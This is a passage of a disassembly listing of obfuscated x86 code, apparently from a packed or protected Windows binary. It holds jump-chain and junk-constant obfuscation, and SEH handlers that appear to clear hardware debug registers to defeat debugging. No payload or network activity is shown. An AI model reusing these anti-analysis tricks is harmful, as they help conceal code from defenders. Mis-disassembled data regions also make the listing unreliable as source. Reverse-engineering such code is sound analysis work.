locret_43A8BA:				; CODE XREF: _802izwe5:loc_43D5A0j
		retn
; ---------------------------------------------------------------------------


loc_43A8BB:				; CODE XREF: sub_43DA03-19E8j
		jmp	loc_43D443
; ---------------------------------------------------------------------------
		dd 36FF6467h, 64670000h, 2689h,	834E9h,	0E99C0000h, 3254h
		db 0
; ---------------------------------------------------------------------------


loc_43A8D9:				; CODE XREF: sub_43D40D:loc_43C4B8j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		jmp	loc_43E045
; ---------------------------------------------------------------------------
		db 0
byte_43A8F7	db 3Eh			; CODE XREF: sub_439ED1+10F0j
		db 0CCh
; ---------------------------------------------------------------------------
		jmp	loc_439226
; ---------------------------------------------------------------------------
		dw 1B00h
		db 0D9h
byte_43A901	db 67h,	64h, 8Fh	; DATA XREF: _802izwe5:004391A3o
		dd 87000006h, 68582404h, 86D2AE05h, 0FFE28FE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

locret_43A917:				; CODE XREF: sub_439ED1:loc_43D6DAj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A91A:				; CODE XREF: sub_43F7B0+8j
		jmp	loc_43E1B7
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_43A921:				; CODE XREF: sub_439ED1+3A2Fj
		jmp	near ptr dword_437340+9Eh
; ---------------------------------------------------------------------------
		align 4


loc_43A928:				; CODE XREF: _802izwe5:0043C5C4j
		jmp	loc_43E56B
; ---------------------------------------------------------------------------


loc_43A92D:				; CODE XREF: sub_4382E8+9j
		pop	eax
		push	offset word_43D54E
		jmp	nullsub_38
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A93A:				; CODE XREF: _802izwe5:00437AFDj
		rol	eax, 0Ch
		add	eax, 8B059300h
		jmp	loc_43AA5C
; ---------------------------------------------------------------------------


loc_43A948:				; CODE XREF: _802izwe5:004396B3j
		jnz	loc_437963
		jg	loc_43C652


loc_43A954:				; CODE XREF: _802izwe5:loc_439692j
		xor	edx, 13540207h
		push	edi
		push	11F839E9h
		pop	edi
		and	edi, 4A2BFEFEh
		rol	edi, 19h
		jmp	loc_43AE09
; ---------------------------------------------------------------------------
		align 10h
		db 0
byte_43A971	db 81h,	0C2h, 2Ch	; DATA XREF: sub_43F688-81Bo
		dd 87803131h
		db 14h,	24h, 0F6h
; ---------------------------------------------------------------------------


loc_43A97B:				; CODE XREF: sub_439ED1+31BEj
		jmp	loc_43B763
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43A982:				; CODE XREF: sub_439ED1+B0Bj
		pop	eax
		jmp	loc_43EA16
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43A989:				; CODE XREF: sub_43BE3C+1825j
					; sub_43DA03+C83j
		push	offset loc_4393D2
		jmp	loc_43EF7F
; ---------------------------------------------------------------------------
		align 4
		dd 0FF646700h, 67000036h, 268964h, 0E9F13600h, 0FFFFEBF6h
; ---------------------------------------------------------------------------


loc_43A9A8:				; CODE XREF: sub_439ED1:loc_43BE15j
		push	70984923h
		pop	eax
		rol	eax, 9
		xor	eax, 5F0F3429h
		add	eax, 0C570602Fh
		jmp	loc_43F267
; ---------------------------------------------------------------------------
		dw 6852h
		dd 0BF1BC8BAh, 8B241C87h, 0A5E95BD3h, 0FFFFE7h
; ---------------------------------------------------------------------------


loc_43A9D4:				; CODE XREF: sub_439ED1+2C5j
		mov	eax, ebx
		pop	ebx
		xchg	eax, [esp-20h+arg_18]
		or	edx, edx
		jz	loc_43A982
		jmp	loc_43F595
; ---------------------------------------------------------------------------
		align 4
		cmp	ebx, esi
		jmp	loc_43CED2
; ---------------------------------------------------------------------------
		align 10h


loc_43A9F0:				; CODE XREF: _802izwe5:loc_439AA9j
		jnz	loc_43DE3B
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_43A9F8:				; CODE XREF: _802izwe5:0043D890j
		jmp	loc_43EB9B
; ---------------------------------------------------------------------------
		align 2


loc_43A9FE:				; CODE XREF: sub_439ED1+85Cj
		jmp	loc_43EE54
; ---------------------------------------------------------------------------
		align 4
		dd 0E9F50B00h, 3429h, 0C300h ; CODE XREF: _802izwe5:loc_43F157j
; ---------------------------------------------------------------------------


loc_43AA10:				; CODE XREF: _802izwe5:00438A95j
		jmp	loc_43ADE7
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
; ---------------------------------------------------------------------------
		inc	ebx
		and	eax, 0
		jmp	loc_438D8A
; ---------------------------------------------------------------------------
		jmp	loc_439A60
; ---------------------------------------------------------------------------
		dd 40680000h, 873A0FCFh, 0C28B2414h, 1EC0C15Ah,	0FFED32E9h
		dd 0E96800FFh, 5ABEB3A2h, 9CC9EA81h, 0C281E6ECh, 4C94E1BBh
		dd 0FFE046E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43AA55:				; CODE XREF: sub_439ED1+51E6j
		jmp	loc_43C2AB
; ---------------------------------------------------------------------------
		align 4


loc_43AA5C:				; CODE XREF: sub_439ED1+A72j
		jmp	loc_43C022
; ---------------------------------------------------------------------------
		align 2


loc_43AA62:				; CODE XREF: sub_439ED1:loc_439949j
		mov	edx, esi
		pop	esi
		sub	edx, 0B9A7B1C4h
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp-18h+arg_10]
		jmp	loc_43D828
; ---------------------------------------------------------------------------


loc_43AA76:				; CODE XREF: _802izwe5:loc_43F2BAj
		mov	byte ptr [eax],	3
		xchg	edi, [esp-18h+arg_10]
		mov	eax, edi
		pop	edi
		xchg	esi, [esp-1Ch+arg_14]
		call	near ptr sub_43D6F6
; ---------------------------------------------------------------------------
		db 0
		db    0
; ---------------------------------------------------------------------------


loc_43AA89:				; CODE XREF: _802izwe5:0043E54Dj
		jmp	loc_43B96A
; ---------------------------------------------------------------------------
		db    0
; ---------------------------------------------------------------------------


loc_43AA8F:				; CODE XREF: sub_439ED1-104Bj
		jmp	loc_43CCCA
; ---------------------------------------------------------------------------
		dd 3D8FE800h, 0
; ---------------------------------------------------------------------------
		jmp	near ptr word_43F6C6
; ---------------------------------------------------------------------------
		align 2


loc_43AAA2:				; CODE XREF: sub_439C13+10j
		and	eax, 419D6E58h
		call	sub_43BFE8
		add	cl, ch
		pop	ebx
		and	eax, 0


loc_43AAB5:				; CODE XREF: _802izwe5:00439E14j
		jmp	loc_4387FE
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 444Bh, 0FB810000h, 0A2FD27Bh, 0FFCC8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43AACD:				; CODE XREF: _802izwe5:00438689p
		xchg	esi, [esp-8+arg_4]
		xchg	ebx, [esp-8+arg_4]
		mov	esi, ebx
		pop	ebx
		push	6637FD6Fh
		pop	edx
		rol	edx, 1Ch
		sub	edx, 80236F2Ah
		jmp	loc_43B2F3
; ---------------------------------------------------------------------------
word_43AAEA	dw 0C600h		; DATA XREF: _802izwe5:0043DD40o
		dd 5B5AC302h, 0B98EE381h, 850F34F5h, 0FFFFEAC8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43AAFE:				; CODE XREF: sub_43F688-1EB2j
		jmp	loc_43B4D4
; ---------------------------------------------------------------------------
		align 4
		dd 33E98100h, 137E04F2h, 0EAA3E9F9h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43AB13:				; CODE XREF: sub_439ED1+71Ej
		jl	loc_43777D
		xchg	eax, [esp-20h+arg_18]
		pop	eax
		call	sub_43AE83
		jmp	loc_43E7F8
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43AB29:				; CODE XREF: _802izwe5:00437687j
		jmp	loc_438F33
; ---------------------------------------------------------------------------
		dw 0C600h		; CODE XREF: _802izwe5:0043F5B6j
		dd 5758F600h, 64280768h, 0FD1E95Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43AB3F:				; CODE XREF: sub_4397E9+Ej
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		rol	eax, 19h
		xor	eax, 228F04E9h
		sub	eax, 4818A311h
		rol	eax, 19h
		jmp	loc_439FF8
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43AB5E:				; CODE XREF: sub_43CFCD+Aj
		call	sub_43D600
		add	cl, ch
		mov	ah, 0FFh
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------


loc_43AB69:				; CODE XREF: sub_43C65A+5F5j
		jmp	loc_43F01A
; ---------------------------------------------------------------------------
		align 10h


loc_43AB70:				; CODE XREF: sub_439ED1+576j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		call	sub_437F24
		pushf
		ror	ebx, 16h
		jmp	loc_43F662
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43AB8E:				; CODE XREF: sub_43BE3C:loc_43CA8Aj
		push	ecx
		jmp	loc_43F237
; ---------------------------------------------------------------------------
		dd 0D33B0000h, 0FFE708E9h, 48700FFh, 8B5824h, 4475E8h
		dd 0F333E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43ABAE:				; CODE XREF: sub_438FC9:loc_43C507j
		push	ecx
		jmp	loc_4395A7
; ---------------------------------------------------------------------------
		dd 81CC8B00h, 10C1h, 0C7098B00h, 1001301h, 3073E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43ABCA:				; CODE XREF: _802izwe5:loc_43DFB0j
		add	ecx, edi
		pop	edi
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], 43CD83h
		xor	eax, eax
		pop	ecx
		jmp	nullsub_40
; ---------------------------------------------------------------------------
		align 4
		push	ecx


loc_43ABE5:				; CODE XREF: sub_439ED1+D26j
		jmp	loc_43BF73
; ---------------------------------------------------------------------------
		align 4
dword_43ABEC	dd 76E8EC8Bh, 0FFFFFBh; ---------------------------------------------------------------------------


loc_43ABF4:				; DATA XREF: sub_4396ED+4o
		xchg	eax, [esp+4+var_4]
		jnb	short loc_43ABE5
		push	ecx
		lea	eax, byte_43C3D5
		push	offset loc_438688
		jmp	nullsub_52
; ---------------------------------------------------------------------------


loc_43AC0A:				; CODE XREF: sub_43C65A:loc_439810j
		xchg	eax, [esp+0Ch+var_C]
		popf
		nop
		jmp	loc_43CECB
; ---------------------------------------------------------------------------


loc_43AC14:				; CODE XREF: sub_43F7BD:loc_43994Ej
		call	sub_43DD0C
		add	cl, ch		; CODE XREF: sub_439ED1+2B26j
		dec	esi
; ---------------------------------------------------------------------------
		dd 0E9FFFFF3h, 0FFFFDC77h, 0DEE95100h, 0Eh
; ---------------------------------------------------------------------------


loc_43AC2C:				; CODE XREF: sub_43C4C7:loc_43C4D8j
					; DATA XREF: _802izwe5:0043829Do
		fdiv	[esp+8+var_8]
		jmp	loc_43E459
; ---------------------------------------------------------------------------
		dd 58D0000h, 43EC7Dh, 87F78B56h, 0A5682434h, 0E95EB9F1h
		dd 0FFFFECB5h
		db 0
; ---------------------------------------------------------------------------


loc_43AC4D:				; CODE XREF: _802izwe5:loc_43F186j
		mov	esi, ebp
		xchg	esi, [esp+8+var_8]
		mov	ebp, esp
		add	esp, 0FFFFFF74h
		jmp	near ptr dword_4397D0+12h
; ---------------------------------------------------------------------------
		align 10h
		dd 240C8700h, 8B241487h, 8B565ACAh, 2D55E9F7h
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------


loc_43AC73:				; CODE XREF: sub_439ED1+1C79j
		cdq
		adc	ebx, edi


loc_43AC76:				; DATA XREF: _802izwe5:loc_43D7B7o
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-8]
		mov	ecx, 0Ah
		push	offset byte_43E335
		jmp	nullsub_15
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0C1815A24h, 0CB50338Ah
dword_43AC9C	dd 0F9F799F6h, 3381890Fh, 3E90000h, 0FFFFCCh
					; DATA XREF: sub_43F734:loc_43D624o
; ---------------------------------------------------------------------------


loc_43ACAC:				; CODE XREF: sub_43C034:loc_43EA52j
		push	offset word_43F7CA
		jmp	near ptr dword_437428+0CDh
; ---------------------------------------------------------------------------
		align 4


loc_43ACB8:				; CODE XREF: sub_439ED1-1129j
		pop	edx
		xchg	eax, [esp+0]
		popf
		nop
		jmp	loc_43BA85
; ---------------------------------------------------------------------------
byte_43ACC3	db 87h			; DATA XREF: sub_439ED1-14ADo
		dd 0CF8B243Ch, 8B240487h, 71E858F8h, 0FFFFC9h
; ---------------------------------------------------------------------------


loc_43ACD4:				; CODE XREF: sub_439ED1-222Fj
		jmp	loc_43A83B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43ACDB:				; CODE XREF: _802izwe5:004376D2j
		jmp	loc_43D1D0
; ---------------------------------------------------------------------------
		dd 72E90000h, 0F00003Bh, 21918Ah, 2A65E900h, 0
; ---------------------------------------------------------------------------


loc_43ACF4:				; CODE XREF: _802izwe5:0043B531j
		mov	fs:0, esp
		jmp	loc_43E88A
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------

locret_43AD01:				; CODE XREF: _802izwe5:004396DAj
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43AD04:				; CODE XREF: sub_43C65A+224Ej
		jmp	near ptr dword_43729C+1Eh
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_43CA13
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFC50FE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43AD16:				; DATA XREF: _802izwe5:loc_4396D5o
		mov	byte ptr [edx],	87h
		xchg	eax, [esp-0Ch+arg_8]
		mov	edx, eax
		pop	eax
		add	ecx, 1BB84718h
		sub	ecx, 94C5187Fh
		jmp	loc_43ECB2
; ---------------------------------------------------------------------------
		dd 0C30000h
		db 0
; ---------------------------------------------------------------------------


loc_43AD35:				; CODE XREF: _802izwe5:004395C9j
		jmp	nullsub_45
; ---------------------------------------------------------------------------
		dw 8B00h
		db 0CCh
; ---------------------------------------------------------------------------
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		jmp	loc_43E503
; ---------------------------------------------------------------------------


loc_43AD56:				; CODE XREF: sub_439ED1-1468j
		push	edi
		push	514B194h
		pop	edi
		or	edi, 80080C62h
		and	edi, 9A2E649Ch
		xor	edi, 60E53EB1h
		add	edi, 1F16E5DFh
		jmp	loc_43DECF
; ---------------------------------------------------------------------------
		sub	edi, 1572C7B8h
		sub	ecx, edi
		jmp	loc_43F5E0
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		jmp	nullsub_53
; ---------------------------------------------------------------------------
		align 10h

locret_43AD90:				; CODE XREF: sub_43F688-816j
		retn
; ---------------------------------------------------------------------------
		align 2


loc_43AD92:				; CODE XREF: sub_439ED1+618j
		jmp	near ptr dword_437428+4Ah
; ---------------------------------------------------------------------------
		align 4
		dd 0D5870Fh, 25E90000h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43ADA3:				; CODE XREF: sub_439ED1+212j
		rol	ecx, 16h
		and	ecx, 26881114h
		xor	ecx, 0DD595510h
		add	esi, ecx
		pop	ecx
		jmp	loc_43E83D
; ---------------------------------------------------------------------------


loc_43ADBA:				; CODE XREF: sub_439ED1+31Fj
		push	ecx
		jmp	loc_43E454
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43ADC1:				; CODE XREF: sub_439ED1+Aj
		mov	byte ptr [esi],	8Bh
		pop	esi
		add	eax, 5575364Dh
		add	eax, ebp
		add	eax, 40C9359Fh


loc_43ADD3:				; DATA XREF: sub_439ED1+5o
		mov	al, 0
		jmp	loc_439944
sub_439ED1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4


loc_43ADDC:				; CODE XREF: _802izwe5:0043DE53j
		rol	ebx, 6
		ror	esi, 10h
		jmp	loc_43C1EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43ADE7:				; CODE XREF: sub_439ED1:loc_43AA10j
		mov	ecx, esp
		push	edx
		push	1DC5C0BBh
		pop	edx
		add	edx, 0B7DF872h
		and	edx, 7958A030h
		add	edx, 0D6BF5FF0h
		jmp	loc_43F9B9
; END OF FUNCTION CHUNK	FOR sub_439ED1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AE09:				; CODE XREF: sub_439ED1+A99j
		jmp	loc_43B388
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6E


loc_43AE0F:				; CODE XREF: sub_438A6E:loc_43B46Cj
		push	ecx
		jmp	loc_43DFBE
; END OF FUNCTION CHUNK	FOR sub_438A6E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AE17:				; CODE XREF: sub_439ED1:loc_43A678j
		pop	ebx


loc_43AE18:				; DATA XREF: sub_43F18B-1568o
		call	far ptr	2C87h:0F78B243Ch
		and	al, 8Bh
		std
		pop	ebp
		jmp	loc_439E1A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 850F0000h, 1588h, 0FFCC05E9h, 240487FFh, 22B2E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AE3F:				; CODE XREF: sub_439ED1:loc_4396A8j
		xor	esi, 88DBFEB8h
		add	esi, 0A2D4CE0Ch
		xor	esi, 0AD5EF404h
		add	ecx, esi
		pop	esi
		mov	[ecx], eax
		push	edx
		jmp	loc_43E16E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0E9510000h, 0FFFFFED7h, 3C870000h, 21F9E924h, 97680000h
		dd 0E9004381h, 17F4h, 6892FF81h, 16E91177h
		db 0CCh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_43AE83	proc near		; CODE XREF: sub_439ED1+C4Cp
					; _802izwe5:0043EA1Ej

arg_4		= dword	ptr  8

		xchg	ecx, [esp+0]
		pop	ecx
		add	esi, 9A7FF1A0h
		popf
		xchg	esi, [esp-8+arg_4]
		jmp	near ptr dword_438F00+7
sub_43AE83	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43AE96:				; CODE XREF: _802izwe5:0043DE0Ej
		push	eax
		pushf
		push	9114A2D8h
		pop	eax
		add	eax, 86DDC42h
		xor	eax, 99827FBAh
		call	sub_43BC68
		jmp	loc_439EA9
; ---------------------------------------------------------------------------
		dd 0C2C10000h, 354DE915h, 7C60000h, 16E85F03h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43AEC7:				; CODE XREF: sub_43F18B-156Fj
		jmp	loc_4390C1
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		dd 0BDD8100h, 87288267h, 8759240Ch, 0B3682414h,	0E9004393h
		dd 0FFFFE414h, 9C520000h, 7D10B668h, 0CA815A60h, 0C61D36ACh
		dd 144EE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AEFA:				; CODE XREF: sub_439ED1:loc_43DEC9j
		jge	loc_43DA58
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43AF02:				; CODE XREF: sub_43C65A+13Fj
		jmp	loc_43A3E5
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
		rol	eax, 8
		and	ebp, 0EC36DE3Eh
		adc	edi, 641D022Ch
		mov	[ebp+0], edx
		jmp	loc_43DBF8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43AF20:				; CODE XREF: sub_43C65A:loc_43C84Dj
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43C56C
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2
		dw 0CC66h
; ---------------------------------------------------------------------------
		jmp	loc_43E4F6
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		mov	byte ptr [esi-8B848C2h], 0C6h
		add	[eax+0], al
		add	cl, ch
		inc	edx
		sar	bh, 1
		dec	dword ptr [ebx+24142212h] ; DATA XREF: sub_43BFFF+1CC0o
		push	dword ptr [ebp+0Ch]
		push	esi
		push	0C3C44B57h
		xchg	edi, [esp]
		jmp	loc_43C5A2
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 2
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43AF6A:				; CODE XREF: sub_43C034+13j
		jmp	loc_43B537
; ---------------------------------------------------------------------------


loc_43AF6F:				; CODE XREF: sub_43C034-AF7j
		jmp	loc_43D28E
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
		jmp	loc_43E1D9
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0E9h
		dd 0FFFFFC1Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AF82:				; CODE XREF: sub_439ED1+9C8j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AF86:				; CODE XREF: sub_439ED1+46AAj
		jmp	loc_43D78B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43AF8D:				; CODE XREF: _802izwe5:0043CB87j
		jmp	loc_43C2FF
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43AF93:				; CODE XREF: _802izwe5:0043B4EEj
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_4378E0+1
; ---------------------------------------------------------------------------
		dd 0C2C10000h, 33C1E917h, 0F000000h, 0FFD72983h, 43F8E9FFh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AFBB:				; CODE XREF: sub_439ED1+52Cj
		mov	fs:0, esp
		jmp	near ptr byte_43A8F7
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 8700h
		dd 81582404h, 0A41821C2h, 0E8128BDBh, 0FFFFFEFBh
		db 0
; ---------------------------------------------------------------------------


loc_43AFD9:				; CODE XREF: _802izwe5:0043F772j
		xor	eax, eax
		add	ecx, 4
		call	near ptr sub_43F19D


loc_43AFE6:				; CODE XREF: _802izwe5:0043B5EAj
		jmp	loc_43E5E6
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AFED:				; CODE XREF: sub_439ED1:loc_43CDEBj
		call	sub_43CFCD
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43AFF4:				; CODE XREF: sub_439ED1+44BEj
		pop	esi
		add	esi, 18139040h
		xor	esi, 48BDE7AAh
		add	esi, 89E515BAh
		xchg	esi, [esp-14h+arg_C]


loc_43B00A:				; DATA XREF: sub_439ED1+12C5o
		lodsb
		adc	eax, offset dword_4270C0
		push	ebp
		mov	ebp, ecx
		jmp	loc_43CE76
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B019:				; CODE XREF: sub_439ED1:loc_43F237j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		jmp	loc_43B169
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43DCF0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B03F:				; CODE XREF: sub_439ED1+48D7j
		pop	ecx
		test	al, 68h
		adc	al, 61h
		mov	[eax-79h], edi
		sub	al, 24h
		mov	eax, ebp
		pop	ebp
		xor	eax, 8278DFA0h
		js	loc_4379B2
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 7C60000h, 0F1815F03h, 0C8EFCA08h, 561DC1C1h,	19C0AE68h
		dd 0F5E95E87h, 9C000002h, 1E9AE8h, 1545E900h, 0
; ---------------------------------------------------------------------------
		push	esi
		cmp	ecx, 51E4B0D3h
		jmp	loc_43CBEE
; ---------------------------------------------------------------------------
		dd 0C7098B00h, 1001301h, 18C18100h, 8A000000h, 9CC18101h
		dd 0
		dd 2212E901h, 0
dword_43B0AC	dd 5A4902C6h, 0C2C1C201h		db 3, 31h, 0C2h
byte_43B0B7	db 0CFh			; DATA XREF: sub_43E4D7+Bo
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B0B8:				; CODE XREF: sub_439ED1:loc_437BE0j
		jnz	loc_43BDD5
		xchg	ebx, [esp+0]
		jmp	near ptr loc_43D4B3+1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0E8E98E0Fh, 0CE81FFFFh, 0C6EB2BF3h, 0FFDB14E9h, 810000FFh
		dd 4CA61CEEh, 0DC6C146h, 5550CE81h, 850F0D1Bh, 4578h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43B0F2:				; CODE XREF: sub_43C65A+9Ej
		jmp	loc_438E98
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B0F7:				; CODE XREF: sub_439ED1+124Cj
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B0FD:				; CODE XREF: sub_439ED1:loc_43DECFj
		add	eax, edi
		call	loc_439FA7
		add	cl, ch
		jz	short loc_43B147
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B10C:				; CODE XREF: sub_439ED1:loc_43DE5Aj
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43B7A6
		xor	eax, eax
		pop	ecx
		jmp	loc_43B0F7
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		push	43AA2Ah
		jmp	loc_43F157
; ---------------------------------------------------------------------------
		align 10h


loc_43B130:				; CODE XREF: _802izwe5:loc_4394CCj
		pushf
		jmp	loc_43825C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B136:				; CODE XREF: sub_439ED1:loc_43F58Ej
		push	ecx
		jmp	loc_43E740
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43B13C:				; CODE XREF: _802izwe5:00438F6Cj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B147:				; CODE XREF: sub_439ED1+1235j
		add	[ebx], edx
		add	[ecx], al
		add	[ebx], dh
		shr	cl, 56h
		xor	al, [eax]
		add	[ebx-0BD91622h], cl
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0FFFFh
byte_43B15C	db 90h			; CODE XREF: _802izwe5:loc_43DD32j
					; DATA XREF: _802izwe5:004393D7o
		db 0E8h, 1Ah, 0CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F7F5


loc_43B162:				; CODE XREF: sub_43F7F5+Cj
		jmp	near ptr dword_437548+117h
; END OF FUNCTION CHUNK	FOR sub_43F7F5
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43B169:				; CODE XREF: sub_439ED1+1160j
		jmp	loc_43ED28
